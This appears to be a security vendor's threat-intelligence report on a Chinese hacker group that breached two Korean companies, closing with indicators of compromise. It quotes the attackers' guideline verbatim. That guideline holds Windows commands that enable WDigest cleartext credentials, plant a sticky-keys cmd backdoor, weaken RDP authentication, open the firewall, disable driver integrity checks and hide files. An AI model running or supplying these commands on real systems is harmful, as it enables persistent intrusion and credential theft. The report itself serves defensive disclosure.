Chinese Hacker Group Stealing Information From Korean Companies

Recently, there have been frequent cases of attacks targeting vulnerable servers that are accessible externally, such as SQL servers or IIS web servers.

The team has confirmed two affected companies in this case. One being a company for semiconductors, and the other being a smart manufacturing company which utilizes artificial intelligence. It is assumed that the threat group that carried out the hacking attack is a Chinese hacker group like Xiaoqiying and Dalbit, as a Chinese text file containing instructions on how to use the hacking tool was found.

Chinese Hacker Group’s Guideline

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f reg add “HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe” /v “Debugger” /t REG_SZ /d “\”c:\windows\system32\cmd.exe\” /z” /f REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0 /f REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v SecurityLayer /t REG_DWORD /d 0 /f ！！ 禁止强制名，以管理的身行cmd 行以下命令 Win2012 Can: bcdedit.exe /set nointegritychecks on \Easy File Locker （！！！注意：只需要予Access限，其他都不需要，切切） 除1. REG delete “HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Easy file Locker” /f 除2：安目 除3： C:\Users\master\AppData\Roaming\Microsoft\Windows\Start Menu\Programs （快捷方式） C:/Users/Public/Documents/EFL/rule.ini 藏的定在此 Easy File Locker添加需要藏的文件，只予access限，可文件的藏。 cmd.exe /c reg add “HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f cmd.exe /c wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1 cmd.exe /c netsh advfirewall firewall add rule name=”RemoteDesktop_Allow” dir=in protocol=TCP action=allow localport=3389 remoteip=any 1.reg add “HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f \配置端口3389 2.wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1 （open terminal, 0 close) netsh advfirewall firewall add rule name=”RemoteDesktop_Allow” dir=in protocol=TCP action=allow localport=3389 remoteip=any 4.netsh advfirewall firewall show rule name=”RemoteDesktop_Allow” 5. netsh advfirewall firewall del rule name=”RemoteDesktop_Allow” reg add “HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe” /v “Debugger” /t REG_SZ /d “\”c:\windows\system32\cmd.exe\” /z” /f REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0 /f REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v SecurityLayer /t REG_DWORD /d 0 /f

Table 1. Text file containing the guideline for the hacking tool used by the hacker group

Threat Actor’s Server and Exfiltrated Information

The servers confirmed to be used by the threat actor are as follows:

FRP Management Server

The threat actor installed an FRP on the servers of the affected companies. Therefore, on the page shown in Figure 1, it is possible to confirm the information of the infected PCs that have FRP installed and the proxy servers used by the threat actor.

Previous blog posts, including one on the ‘Dalbit’ APT group, as well as the AhnLab TIP service’s ‘Analysis Report on Attack Cases Exploiting Various Remote Control Tools‘, have provided detailed coverage of attack methods that utilize FRP.

Dalbit (m00nlight): Chinese Hacker Group’s APT Attack Campaign

Attackers Using FRP (Fast Reverse Proxy) to Attack Korean Companies

 

File Server

This server contains hacking tools such as CobaltStrike, VPN, remote control, etc., as well as many log files. As shown in Figure 2, these log files are located inside a directory named with numbers. The stolen logs contain credential and network information alongside information that is assumed to be inside material from companies.

 

The threat actor’s C2 server is still accessible and partial pieces of information from the affected companies are currently exposed. Therefore, they will not be disclosed here in order to prevent additional harm.

MD5

006e7290fbae946551f07f6e0319d5de

12c70eefa2edba8b420a6d00891c792b

29efd64dd3c7fe1e2b022b7ad73a1ba5

2ad284b957ab28277fef534b3698c006

2eead3e509a19002d80f48d431922f1e

URL

http[:]//125[.]227[.]10[.]2[:]7500/static/

http[:]//125[.]227[.]10[.]2[:]8081/

http[:]//www[.]workr[.]fun/